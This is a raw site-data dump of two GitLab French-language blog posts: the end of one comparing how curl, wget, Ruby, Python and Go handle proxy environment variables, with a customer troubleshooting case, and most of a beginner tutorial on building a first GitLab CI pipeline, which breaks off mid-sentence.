majuscules, `HTTP_PROXY` et `NO_PROXY`.\n\n__Nota Bene :__ en mars 2009, [`curl` v7.19.4](https://github.com/curl/curl/releases/tag/curl-7_19_4) abandonne la prise en compte de la forme en majuscules de `HTTP_PROXY` [en raison de problèmes de sécurité](https://github.com/curl/curl/blob/30e7641d7d2eb46c0b67c0c495a0ea7e52333ee2/lib/url.c#L2250-L2261). Cependant, même si `curl` n'accepte plus `HTTP_PROXY`, `HTTPS_PROXY` fonctionne toujours.\n\n## Gestion des variables du serveur proxy\n\nSuite aux [recherches de notre collègue Nourdin el Bacha](https://gitlab.com/gitlab-com/support/support-team-meta/-/issues/2991), nous comprenons que la gestion des variables du serveur proxy varie en fonction du langage ou de l'outil utilisé. \n\n### http_proxy et https_proxy\n\nDans ce tableau, chaque ligne représente une variable, et chaque colonne correspond à l'outil (comme `curl`) ou au langage (comme `Ruby`) auquel elle s'applique : \n\n|                 | curl      | wget           | Ruby          | Python    | Go        |\n|-----------------|-----------|----------------|---------------|-----------|-----------|\n| `http_proxy`    | Oui       | Oui            | Oui           | Oui       | Oui        |\n| `HTTP_PROXY`    | Non        | Non           | Oui ([Mise en garde](https://github.com/ruby/ruby/blob/0ed71b37fa9af134fdd5a7fd1cebd171eba83541/lib/uri/generic.rb#L1519)) | Oui (si `REQUEST_METHOD` n'est pas dans env)       | Oui       |\n| `https_proxy`   | Oui       | Oui            | Oui           | Oui       | Oui       |\n| `HTTPS_PROXY`   | Oui       | Non             | Oui           | Oui       | Oui       |\n| Casse de caractères | Minuscules | Minuscules uniquement | Minuscules     | Minuscules | Majuscules |\n| Sources       | [source](https://github.com/curl/curl/blob/30e7641d7d2eb46c0b67c0c495a0ea7e52333ee2/lib/url.c#L2250-L2266) | [source](https://github.com/jay/wget/blob/099d8ee3da3a6eea5635581ae517035165f400a5/src/retr.c#L1222-L1239) | [source](https://github.com/ruby/ruby/blob/0ed71b37fa9af134fdd5a7fd1cebd171eba83541/lib/uri/generic.rb#L1474-L1543) | [source](https://github.com/python/cpython/blob/030a713183084594659aefd77b76fe30178e23c8/Lib/urllib/request.py#L2488-L2517) | [source](https://github.com/golang/go/blob/682a1d2176b02337460aeede0ff9e49429525195/src/vendor/golang.org/x/net/http/httpproxy/proxy.go#L82-L97) |\n\nNotez que `http_proxy` et `https_proxy` sont toujours pris en charge, alors que `HTTP_PROXY` ne l'est pas. Python (via `urllib`) ne facilite pas les choses : `HTTP_PROXY` peut être utilisé [tant que `REQUEST_METHOD` n'est pas défini dans l'environnement](https://github.com/python/cpython/blob/030a713183084594659aefd77b76fe30178e23c8/Lib/urllib/request.py#L2504-L2508).\n\nLes variables d'environnement sont normalement définies en majuscules, mais puisque `http_proxy` est apparu en premier, il est devenu de fait la norme. En cas de doute, optez pour la forme en minuscules, car elle est universellement prise en charge.\n\nContrairement à la plupart des implémentations, Go essaie d'abord la forme en majuscules avant revenir à la version en minuscules. Nous verrons plus tard pourquoi cela a causé du tort à notre client GitLab. \n\n### no_proxy\n\nCertains utilisateurs ont signalé le [manque d'indications sur `no_proxy`](https://github.com/curl/curl/issues/1208). Puisque `no_proxy` définit une liste d'exceptions, des questions sur son fonctionnement se posent. \n\nPar exemple, vous configurez votre `no_proxy` comme suit : \n\n```sh\nexport no_proxy=example.com\n```\n\nEst-ce que cela signifie que le domaine doit être une correspondance exacte ou que `subdomain.example.com` corresponde aussi à cette configuration ? \n\nLe tableau suivant présente les différentes configurations. Toutes les implémentations correspondent aux suffixes, comme le montre la ligne « `correspondance des suffixes` ».\n\n|                       | curl      | wget           | Ruby      | Python    | Go        |\n|-----------------------|-----------|----------------|-----------|-----------|-----------|\n| `no_proxy`            | Oui       | Oui          | Oui     | Oui      | Oui      |\n| `NO_PROXY`            | Oui       | Non             | Oui       | Oui       | Oui       |\n| Casse de caractères       | Minuscules | Minuscules uniquement | Minuscules | Minuscules | Majuscules |\n| Correspondance des suffixes ?     | Oui       | Oui            | Oui       | Oui       | Oui       |\n| Points initiaux `.` ?   | Oui       | Non             | Oui       | Oui       | Non        |\n| `*` fait correspondre tous les hôtes| Oui       | Non             | Non        | Oui       | Oui       |\n| Prise en charge des expressions régulières ?     | Non        | Non             | Non        | Non        | Non        |\n| Prise en charge des blocs CIDR ? | Non        | Non             | Oui       | Non        | Oui       |\n| Détection des adresses IP de bouclage ? | Non        | Non             | Non        | Non        | Oui       |\n| Sources            | [source](https://github.com/curl/curl/blob/30e7641d7d2eb46c0b67c0c495a0ea7e52333ee2/lib/url.c#L2152-L2206) | [source](https://github.com/jay/wget/blob/099d8ee3da3a6eea5635581ae517035165f400a5/src/retr.c#L1266-L1274) | [source](https://github.com/ruby/ruby/blob/0ed71b37fa9af134fdd5a7fd1cebd171eba83541/lib/uri/generic.rb#L1545-L1554) | [source](https://github.com/python/cpython/blob/030a713183084594659aefd77b76fe30178e23c8/Lib/urllib/request.py#L2519-L2551)| [source](https://github.com/golang/go/blob/682a1d2176b02337460aeede0ff9e49429525195/src/vendor/golang.org/x/net/http/httpproxy/proxy.go#L170-L206) |\n\nCependant, si `no_proxy` est précédé d'un `.`, cela implique des changements. \n\nPar exemple, `curl` et `wget` se comportent différemment. `curl` supprime le `.` dans la configuration pour se coller au suffixe du domaine. Il contourne ainsi le proxy :\n\n```sh\n$ env https_proxy=http://non.existent/ no_proxy=.gitlab.com curl https://gitlab.com\n\u003Chtml>\u003Cbody>You are being \u003Ca href=\"https://about.gitlab.com/\">redirected\u003C/a>.\u003C/body>\u003C/html>\n```\n\nNéanmoins, `wget` ne supprime pas le `.` et utilise la correspondance exacte avec le nom d'hôte. Par conséquent, `wget` essaie d'utiliser un proxy si un domaine de premier niveau est utilisé : \n\n```sh\n$ env https_proxy=http://non.existent/ no_proxy=.gitlab.com wget https://gitlab.com\nResolving non.existent (non.existent)... failed: Name or service not known.\nwget: unable to resolve host address 'non.existent'\n```\n\nToutes les implémentations ne prennent pas en charge les expressions régulières (regex). Utiliser des regex peut compliquer la configuration puisqu'elles peuvent prendre différentes variantes (comme PCRE ou POSIX). L'utilisation d'expressions régulières entraîne également de potentielles failles de sécurité et de performance. \n\nConfigurer `no_proxy` avec un astérisque (`*`) peut désactiver l'utilisation de proxy pour toutes les adresses, bien que ce principe ne soit pas appliqué tout le temps. \n\nAu moment de décider de l'utilisation d'un proxy, aucune implémentation n'effectue de recherche DNS pour résoudre un nom d'hôte en adresse IP. Il est préférable d'éviter de spécifier les adresses IP dans `no_proxy` à moins que le client ne les utilise explicitement. \n\nIl en va de même pour les blocs CIDR, tels que `18.240.0.1/24`. Ces blocs ne fonctionnent que si la requête est faite directement à une adresse IP. Seuls les environnements de développement Go et Ruby permettent l'utilisation de blocs CIDR. Go désactive même automatiquement l'utilisation d'un proxy si une adresse IP de bouclage est détectée, ce qui n'est pas le cas dans d'autres implémentations.\n\n## Pourquoi les paramètres du proxy sont-ils importants ?\n\nSi votre application est codée en plusieurs langages et doit fonctionner avec un pare-feu avec un serveur proxy, il est important de faire attention à ces différences. \n\nPar exemple, GitLab est composé d'éléments codés en Ruby et d'autres en Go. Un de nos clients a configuré son proxy de la façon suivante : \n\n```yaml\nHTTP_PROXY: http://proxy.company.com\nHTTPS_PROXY: http://proxy.company.com\nNO_PROXY: .correct-company.com\n```\n\nIl a ensuite signalé un problème avec GitLab : \n- Un `git push` à partir de la ligne de commande a fonctionné.\n- Les modifications Git effectuées à partir de l'interface Web ont échoué.\n\nNos ingénieurs ont découvert qu'un problème de configuration de [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Kubernetes\") entraînait le maintien de valeurs obsolètes. L'environnement ressemblait à : \n\n```yaml\nHTTP_PROXY: http://proxy.company.com\nHTTPS_PROXY: http://proxy.company.com\nNO_PROXY: .correct-company.com\nno_proxy: .wrong-company.com\n```\n\nLes irrégularités entre `no_proxy` et `NO_PROXY` ont entraîné des alertes. Supprimer l'entrée incorrecte ou uniformiser les variables auraient pu résoudre le problème. Observons ce qu'il s'est passé. \n\nRappelez-vous que : \n- Ruby priorise `no_proxy`.\n- Go priorise `NO_PROXY`.\n\nPar conséquent, les services codées en Go, comme [GitLab Workhorse](https://docs.gitlab.com/ee/development/workhorse/), ont un bon paramétrage du proxy. Un `git push` depuis la ligne de commande a fonctionné car les services Go gèrent cette activité : \n\n```mermaid\nsequenceDiagram\n    autonumber\n    participant C as Client\n    participant W as Workhorse\n    participant G as Gitaly\n    C->>W: git push\n    W->>G: gRPC: PostReceivePack\n    G->>W: OK\n    W->>C: OK\n```\n\nL'appel gRPC de l'étape 2 n'a jamais tenté d'utiliser le proxy car `no_proxy` a été configuré correctement pour se connecter directement à Gitaly.\n\nCependant, lorsqu'un utilisateur effectue une modification dans l'interface utilisateur, Gitaly transmet la requête au service `gitaly-ruby`, qui est écrit en Ruby. `gitaly-ruby` effectue des modifications dans le dépôt et renvoie un rapport via un appel gRPC à son processus parent. Malheureusement, comme le montre l'étape 4 ci-dessous, l'étape de reporting n'a pas eu lieu :\n\n```mermaid\nsequenceDiagram\n    autonumber\n    participant C as Client\n    participant R as Rails\n    participant G as Gitaly\n    participant GR as gitaly-ruby\n    participant P as Proxy\n    C->>R: Change file in UI\n    R->>G: gRPC: UserCommitFiles\n    G->>GR: gRPC: UserCommitFiles\n    GR->>P: CONNECT\n    P->>GR: FAIL\n```\n\nPuisque gRPC utilise HTTP/2 comme mode de transport, `gitaly-ruby` tente de se connecter au proxy (il était connecté à une configuration erronée de `no_proxy`). Le proxy a immédiatement rejeté la requête HTTP, ce qui a entraîné l'erreur du push sur l'interface Web. \n\nAprès la suppression des minuscules `no_proxy` de l'environnement, les pushs depuis l'interface utilisateur ont fonctionné comme prévu. `gitaly-ruby` s'est connecté au processus parent Gitaly. L'étape 4 a donc fonctionné comme suit : \n\n```mermaid\nsequenceDiagram\n    autonumber\n    participant C as Client\n    participant R as Rails\n    participant G as Gitaly\n    participant GR as gitaly-ruby\n    participant P as Proxy\n    C->>R: Change file in UI\n    R->>G: gRPC: UserCommitFiles\n    G->>GR: gRPC: UserCommitFiles\n    GR->>G: OK\n    G->>R: OK\n    R->>C: OK\n```\n\n#### Pourquoi faut-il privilégier un proxy HTTPS ?\n\nNotez que le client a défini `HTTPS_PROXY` sur un proxy HTTP non crypté : `http://` est préféré à `https://`. Bien que ce ne soit pas idéal en termes de sécurité, certaines équipes de développement utilisent cette méthode pour éviter les problèmes de certificats TLS (et donc, des problèmes de connexion pour les utilisateurs finaux). \n\nSi un proxy HTTPS avait été spécifié, nous n’aurions pas rencontré ce problème. Lorsqu'un proxy HTTPS est utilisé, gRPC ignore ce paramètre car [les proxy HTTPS ne sont pas pris en charge](https://github.com/grpc/grpc/issues/20939).\n\n## Le plus petit dénominateur commun\n\nPersonne ne devrait définir des valeurs irrégulières avec des paramètres de proxy en minuscules et en majuscules. Cependant, si vous devez gérer une stack dans plusieurs langages, vous pourrez configurer les paramètres de proxy HTTP selon le plus petit dénominateur commun.\n\n### `http_proxy` et `https_proxy`\n\n`HTTP_PROXY` n'est pas toujours pris en charge ou recommandé. Préférez toujours le format en minuscules et si vous devez absolument utiliser la version en majuscules, vérifiez qu'elles partagent la même valeur.\n\n### `no_proxy`\n\n1. Adoptez le format en minuscules.\n2. Utilisez les valeurs `hostname:port` séparées par des virgules.\n3. Les adresses IP sont acceptables, mais les noms d'hôtes ne sont pas résolus.\n4. Les suffixes correspondent toujours (`example.com` correspondra à `test.example.com`).\n5. Évitez d'utiliser le point initial (`.`) pour les domaines de premier niveau.\n6. Veillez à ne pas utiliser de correspondances de blocs CIDR. Seuls Go et Ruby les prennent en charge. \n\n## Standardiser `no_proxy`\n\nConnaître le plus petit dénominateur commun aide à éviter des problèmes si ces définitions sont copiées pour différents clients Web. Mais est-ce que `no_proxy` et les autres configurations de proxy requièrent une version standard documentée plutôt qu'une convention ad hoc ? \n\nVoici quelques points qui peuvent vous aider : \n\n1. Préférez le format en minuscules aux variantes en majuscules (`http_proxy` devrait être utilisé avant `HTTP_PROXY`).\n2. Utilisez des valeurs `hostname:port` séparées par des virgules (chaque valeur peut inclure des espaces facultatifs.). \n3. Ne faites pas de recherche DNS et évitez les expressions régulières (regex). \n4. Appliquez `*` pour faire correspondre tous les hôtes.\n5. Supprimez les points initiaux (`.`) et faites correspondre les suffixes de domaine. \n6. Prenez en charge la correspondance des blocs CIDR. \n7. Évitez les suppositions sur des adresses IP spéciales (comme les adresses de bouclage dans `no_proxy`).\n\n## Conclusion\n\nPlus de 30 ans se sont écoulés depuis la sortie du premier serveur proxy Web. Depuis, les principes fondamentaux pour configurer un client Web grâce à des variables n'ont pas vraiment changé. Néanmoins, certaines subtilités ont vu le jour. \n\nÀ travers un cas pratique, vous avez découvert qu'une définition erronée des variables `no_proxy` et `NO_PROXY` a entraîné des heures de travail pour résoudre le problème, en raison de différences d'acceptation de configuration entre Ruby et Go. \n\nEn mettant en évidence ces différences, nous espérons vous éviter de futurs problèmes dans votre stack de production. Et qui sait, nous verrons peut-être voir le jour une standardisation au niveau des chargés de maintenance des clients Web. \n",[270,3080,2413,3406],"startups",{"slug":3408,"featured":6,"template":683},"we-need-to-talk-no-proxy","content:fr-fr:blog:we-need-to-talk-no-proxy.yml","We Need To Talk No Proxy","fr-fr/blog/we-need-to-talk-no-proxy.yml","fr-fr/blog/we-need-to-talk-no-proxy",{"_path":3414,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3415,"content":3421,"config":3427,"_id":3429,"_type":16,"title":3430,"_source":17,"_file":3431,"_stem":3432,"_extension":20},"/fr-fr/blog/basics-of-gitlab-ci-updated",{"title":3416,"description":3417,"ogTitle":3416,"ogDescription":3417,"noIndex":6,"ogImage":3418,"ogUrl":3419,"ogSiteName":841,"ogType":842,"canonicalUrls":3419,"schema":3420},"Intégration continue : créez votre premier pipeline CI avec GitLab ","Vous débutez dans l'intégration continue ? Apprenez à créer votre premier pipeline CI avec GitLab. Lisez notre guide complet.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662061/Blog/Hero%20Images/cicdcover.png","https://about.gitlab.com/blog/basics-of-gitlab-ci-updated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Intégration continue : créez votre premier pipeline CI avec GitLab \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2020-12-10\",\n      }",{"title":3416,"description":3417,"authors":3422,"heroImage":3418,"date":3423,"body":3424,"category":825,"tags":3425,"updatedDate":3426},[888],"2020-12-10","Imaginons que vous ne connaissiez rien au concept d’[intégration continue\n(CI)](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/\n\"Qu'est-ce que l'intégration continue (CI) ?\") ni à son rôle clé dans le\ncycle de vie du développement logiciel.\n\n\nÀ présent, supposons que vous travaillez sur un projet pour lequel\nl'intégralité du code est répartie dans seulement deux fichiers. Pour\ngarantir le bon fonctionnement de ce projet, il est impératif que la\nconcaténation de ces deux fichiers contienne la phrase « Hello world ».\n\n\nToute la réussite du projet repose sur cette simple phrase, car sans elle,\ntout serait compromis.\n\n\nConscient de cet enjeu, votre meilleur développeur logiciel a décidé de\ncréer un script qui s'exécute dès qu’un nouveau morceau de code est envoyé\naux clients.\n\n\nVoici à quoi cela ressemble  :\n\n\n```bash\n\ncat file1.txt file2.txt | grep -q \"Hello world\"\n\n```\n\n\nMême si, en l'état, ce script permet d'exécuter notre tâche, son\ndéclenchement reste manuel. Et, avec une équipe de développement composée de\n10 personnes, vous n'êtes pas à l'abri d'une erreur humaine qui pourrait\nvous coûter très cher. \n\n\nLa preuve en est, pas plus tard que la semaine dernière, un nouveau membre\nde votre équipe a oublié d'exécuter le script, provoquant des erreurs de\ncompilation pour trois de vos clients.\n\n\nVous prenez donc la décision de résoudre ce problème, une bonne fois pour\ntoutes, en utilisant le pipeline d'[intégration et de livraison\ncontinues](https://about.gitlab.com/fr-fr/solutions/continuous-integration/\n\"Intégration et livraison continues\") de GitLab. Par chance, votre code est\ndéjà sur la plateforme. Il ne vous reste plus qu'à vous lancer.  \n\n\n## Effectuer un premier test dans le pipeline CI de GitLab\n\n\nÀ la lecture de la documentation de GitLab, nous savons qu'il suffit de\nréunir deux lignes de code dans un fichier appelé `.gitlab-ci.yml`:\n\n\n```yaml\n\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n```\n\n\nNous le validons et constatons que la compilation s'est déroulée avec succès\n\n\n![Compilation réussie dans le pipeline d’intégration\ncontinue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/build_succeeded.png)\n\n\nMaintenant, remplaçons « world » par « Africa » dans le deuxième fichier et\nvoyons ce qui se passe :\n\n\n![Échec de compilation dans le pipeline CI\nGitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/build_failed.png)\n\n\nComme nous pouvions le prévoir, la compilation a échoué.\n\n\nNous avons désormais mis en place l'automatisation des tests.  \n\n\nÀ partir de maintenant, [GitLab\nCI](https://about.gitlab.com/fr-fr/blog/ci-deployment-and-environments/\n\"Comment déployer du code dans des environnements multiples avec GitLab CI\")\nexécutera notre script de test dès que nous effectuerons un push du code\nvers le dépôt de code source dans l'environnement\n[DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Que signifie DevOps\n?\"). \n\n\nRemarque : dans l'exemple ci-dessus, nous supposons que file1.txt et\nfile2.txt existent sur l'hôte du runner. Pour exécuter cet exemple dans\nGitLab, utilisez le code ci-dessous, qui crée d'abord les fichiers, puis\nexécute le script.\n\n\n```yaml\n\ntest:\n\nbefore_script:\n      - echo \"Hello \" > | tr -d \"\\n\" | > file1.txt\n      - echo \"world\" > file2.txt\nscript: cat file1.txt file2.txt | grep -q 'Hello world'\n\n```\n\n\nPour simplifier notre démonstration, nous partons du principe que ces\nfichiers existent déjà sur l'hôte. Nous n'allons donc pas les créer dans les\nétapes suivantes.\n\n\n## Rendre les résultats des compilations téléchargeables\n\n\nLa prochaine étape consiste à empaqueter le code avant de l'envoyer aux\nclients. Alors, pourquoi ne pas automatiser aussi cette partie du processus\nde développement logiciel ?\n\n\nPour cela, tout ce que nous devons faire est de définir un autre job pour\nl'intégration continue. \n\n\nCommençons par nommer notre job « package » :\n\n\n```yaml\n\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  script: cat file1.txt file2.txt | gzip > package.gz\n```\n\n\nNous avons maintenant deux onglets : \n\n\n![Deux onglets - générés par deux\njobs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/two_tabs.png)\n\n\nCependant, nous avons oublié de spécifier que le nouveau fichier est un\nartefact de compilation, afin qu’il puisse être téléchargé. Nous pouvons\ncorriger cela en ajoutant une section `artefacts` :\n\n\n```yaml\n\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  script: cat file1.txt file2.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\n\nVérifions que tout est en place :\n\n\n![Artefact de compilation téléchargeable dans le pipeline CI/CD de\nGitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/artifacts.png)\n\n\nFélicitations ! Tout semble fonctionnel. En revanche, dans la configuration\nactuelle, les jobs s'exécutent en parallèle. Cela signifie que notre\napplication pourra être empaquetée, et ce, même si les tests échouent. Pour\néviter que cela ne se produise, nous allons devoir exécuter les jobs de\nmanière séquentielle.  \n\n\n## Exécuter des jobs de manière séquentielle\n\n\nPour éviter d'empaqueter une application contenant des erreurs, nous allons\nfaire en sorte d'exécuter le job « package » uniquement si les tests sont\npréalablement réussis. Pour commencer, définissons l'ordre d'exécution en\nétablissant des étapes spécifiques  :\n\n\n```yaml\n\nstages:\n  - test\n  - package\n\ntest:\n  stage: test\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  stage: package\n  script: cat file1.txt file2.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\n\nCela devrait maintenant fonctionner.\n\n\nNous souhaitons également garantir que la compilation (qui est représentée\npar la concaténation dans notre exemple) ne s'exécute qu'une seule fois. En\neffet, cette étape pouvant être chronophage, il serait dommage de l'exécuter\ninutilement.\n\n\nPour éviter cela, définissons une étape supplémentaire :\n\n\n```yaml\n\nstages:\n  - compile\n  - test\n  - package\n\ncompile:\n  stage: compile\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n\ntest:\n  stage: test\n  script: cat compiled.txt | grep -q 'Hello world'\n\npackage:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\n\nJetons un œil à nos artefacts :\n\n\n![Artefacts de compilation dans le pipeline CI de\nGitLab](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/clean-artifacts.png)\n\n\nTout a l'air de fonctionner. En revanche, il faudrait éviter de rendre le\nfichier « compile » téléchargeable. Pour cela, nous allons rendre nos\nartefacts temporaires expirables en définissant `expire_in` à « 20 minutes\n».  \n\n\n```yaml\n\ncompile:\n  stage: compile\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n    expire_in: 20 minutes\n```\n\n\nMaintenant, notre configuration semble plutôt complète : \n\n- Nous avons trois étapes séquentielles pour compiler, tester et empaqueter\nnotre application. \n\n- Nous transmettons également l'application compilée aux étapes suivantes\npour ne pas exécuter la compilation à deux reprises (ce qui accélère le\nprocessus). \n\n- Et nous stockons une version empaquetée de notre application dans les\nartefacts de compilation pour une utilisation ultérieure.\n\n\n## Savoir quelle image Docker utiliser\n\n\nJusqu'ici, tout va bien. Cependant, en regardant de plus près, nos\ncompilations semblent toujours lentes. Prenons un moment pour regarder les\njournaux (logs) :\n\n\n![Image ruby\n3.1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/ruby-31.png)\n\n\nEn observant de plus près, nous remarquons la mention suivante : `ruby:3.1`.\nCela signifie que GitLab.com utilise des images Docker pour [exécuter nos\ncompilations](https://about.gitlab.com/blog/shared-runners/), et qu’il\nutilise [par\ndéfaut](https://docs.gitlab.com/ee/user/gitlab_com/#shared-runners), l'image\n[`ruby:3.1`](https://hub.docker.com/_/ruby/).\n\n\nCette image contient certainement de nombreux paquets dont nous n'avons pas\nbesoin. Dans un souci d'optimisation de notre pipeline CI, il serait donc\npréférable de changer d'image. Après une courte recherche sur Google, nous\ndécouvrons qu'il existe une image Linux presque vierge appelée\n[`alpine`](https://hub.docker.com/_/alpine/). Nous allons alors l'utiliser.\nPour cela, nous devrons ajouter `image: alpine` au fichier `.gitlab-ci.yml`.\n\n\nEt voilà !  Nous avons maintenant réduit le temps de compilation de presque\ntrois minutes :\n\n\n![Vitesse de compilation améliorée dans le pipeline de\nGitLab](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/speed.png)\n\n\nVous pouvez également trouver des images libres de droits sur\n[mysql](https://hub.docker.com/_/mysql/),\n[Python](https://hub.docker.com/_/python/),\n[Java](https://hub.docker.com/_/java/) et\n[php](https://hub.docker.com/_/php/). Il est facile, alors, d'en choisir une\npour notre pile technologique. \n\n\nNote : il sera toujours préférable d'utiliser une image qui ne contient\naucun logiciel supplémentaire dont vous n'avez pas besoin, car cela minimise\ngrandement le temps de téléchargement.\n\n\n## Gérer des scénarios complexes \n\n\nImaginons maintenant un scénario un peu plus complexe. Par exemple, un\nnouveau client souhaite que nous empaquetions notre application au format\n`.iso` plutôt qu'en `.gz`. \n\n\nÉtant donné que le pipeline d'intégration continue gère tout le processus,\net que les images ISO peuvent être créées avec la commande `mkisofs`, il\nsuffit d'ajouter un job supplémentaire.\n\n\nVoici à quoi notre configuration devrait ressembler :\n\n\n```yaml\n\nimage: alpine\n\n\nstages:\n  - compile\n  - test\n  - package\n\n# ... \"compile\" and \"test\" jobs are skipped here for the sake of compactness\n\n\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\n\nNotez que les noms des jobs ne doivent pas être nécessairement identiques.\nS'ils l'étaient, il serait impossible de faire s'exécuter les jobs en\nparallèle dans la même étape du processus de développement logiciel. \n\n\nAinsi, dans l'exemple qui suit, ignorez le fait que les jobs et étapes\nportent le même nom.\n\n\nQuoi qu'il en soit, la compilation échoue :\n\n\n![Echec de compilation dans le pipeline de\nGitLab](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/mkisofs.png)\n\n\nLe problème vient de  `mkisofs` qui n'est pas inclus dans l'image `alpine`.\nNous devons donc d'abord l'installer.\n\n\n## Gérer des logiciels et des paquets manquants \n\n\nSelon le [site Web d’Alpine\nLinux](https://pkgs.alpinelinux.org/contents?file=mkisofs&path=&name=&branch=edge&repo=&arch=\n\"Site Web Alpine Linux\"), `mkisofs` fait partie des paquets `xorriso` et\n`cdrkit`. Voici les commandes que nous devons exécuter pour installer un\npaquet :\n\n\n```bash\n\necho \"ipv6\" >> /etc/modules  # enable networking\n\napk update                   # update packages list\n\napk add xorriso              # install package\n\n```\n\n\nCes commandes s'exécutent de la même manière que toute autre commande au\nsein du processus d'intégration continue. La liste complète des commandes\nque nous devons transmettre à la section `script` devrait ressembler à ceci\n:\n\n\n```yml\n\nscript:\n\n- echo \"ipv6\" >> /etc/modules\n\n- apk update\n\n- apk add xorriso\n\n- mkisofs -o ./packaged.iso ./compiled.txt\n\n```\n\n\nCependant, pour des raisons sémantiques, plaçons les commandes liées à\nl'installation du paquet dans `before_script`. \n\n\nNotez que si vous utilisez `before_script` au niveau supérieur d'une\nconfiguration, alors les commandes s'exécuteront avant tous les jobs. Dans\nnotre cas, nous voulons simplement qu'elles s'exécutent avant un job\nspécifique.\n\n\n## Graphes acycliques orientés pour des pipelines CI plus rapides et\nflexibles\n\n\nPlus haut, nous avons configuré des étapes pour que les jobs d'empaquetage\nne s'exécutent qu'à la condition que les tests réussissent. Mais, que se\npasserait-il si nous voulions bouleverser le séquencement des étapes en\nexécutant certains jobs plus tôt qu'initialement prévu ? \n\n\nDans certains cas, le séquencement traditionnel des étapes peut ralentir la\ndurée globale d'exécution du [pipeline\nCI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce\nqu'un pipeline CI/CD ?\"). Pour éviter cela, nous pouvons choisir de\npersonnaliser le séquencement de nos jobs. \n\n\nPar exemple : imaginons que notre étape de test comprenne des tests lourds,\nprenant beaucoup de temps à s'exécuter. Supposons aussi que ces tests ne\nsoient pas nécessairement liés aux jobs d’empaquetage. Dans ce cas, il\nserait préférable que les jobs d’empaquetage puissent démarrer sans attendre\nla fin de ces tests. C'est là qu'interviennent les [graphes acycliques\norientés](https://about.gitlab.com/blog/directed-acyclic-graph/ \"Graphes\nacycliques orientés\"). Ces derniers visent à rompre l'ordre normal\nd'exécution des jobs (ordre séquentiel) grâce à la création de dépendances\nentre certains jobs. Vous pouvez ainsi définir un ordre personnalisé pour\nexécuter les différents jobs de votre pipeline CI.\n\n\nGrâce au mot-clé `needs`, GitLab crée des dépendances entre les jobs et leur\npermet de s'exécuter plus tôt, dès que leurs jobs dépendants sont terminés.\n\n\nDans l'exemple ci-dessous, les jobs d’empaquetage commenceront à s'exécuter\ndès que le test sera terminé. Ainsi, à l'avenir, si quelqu'un ajoute\nd'autres tests à l'étape de test, les jobs d’empaquetage commenceront à\ns'exécuter avant la fin des nouveaux tests :\n\n\n```yaml\n\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  before_script:\n  - echo \"ipv6\" >> /etc/modules\n  - apk update\n  - apk add xorriso\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\n\nVoici notre version définitive de `.gitlab-ci.yml`:\n\n\n```yaml\n\nimage: alpine\n\n\nstages:\n  - compile\n  - test\n  - package\n\ncompile:\n  stage: compile\n  before_script:\n      - echo \"Hello  \" | tr -d \"\\n\" > file1.txt\n      - echo \"world\" > file2.txt\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n    expire_in: 20 minutes\n\ntest:\n  stage: test\n  script: cat compiled.txt | grep -q 'Hello world'\n\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  before_script:\n  - echo \"ipv6\" >> /etc/modules\n  - apk update\n  - apk add xorriso\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\n\nNous venons de créer un pipeline ! Ainsi, nous avons trois étapes\nséquentielles avec les \n\njobs `pack-gz` et `pack-iso` qui s'exécutent en parallèle à l'intérieur de\nl'étape d'empaquetage :\n\n\n![Représentation d'un artefact de compilation d'un pipeline\nCI](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/pipeline.png)\n\n\n## Améliorer votre pipeline CI\n\n\nNous allons maintenant découvrir comment améliorer notre pipeline\nd'intégration continue.\n\n\n### Intégrer des tests automatisés dans vos pipelines CI\n\n\nL'objectif clé du développement logiciel avec une approche DevOps est de\nréussir à créer des applications offrant une excellente 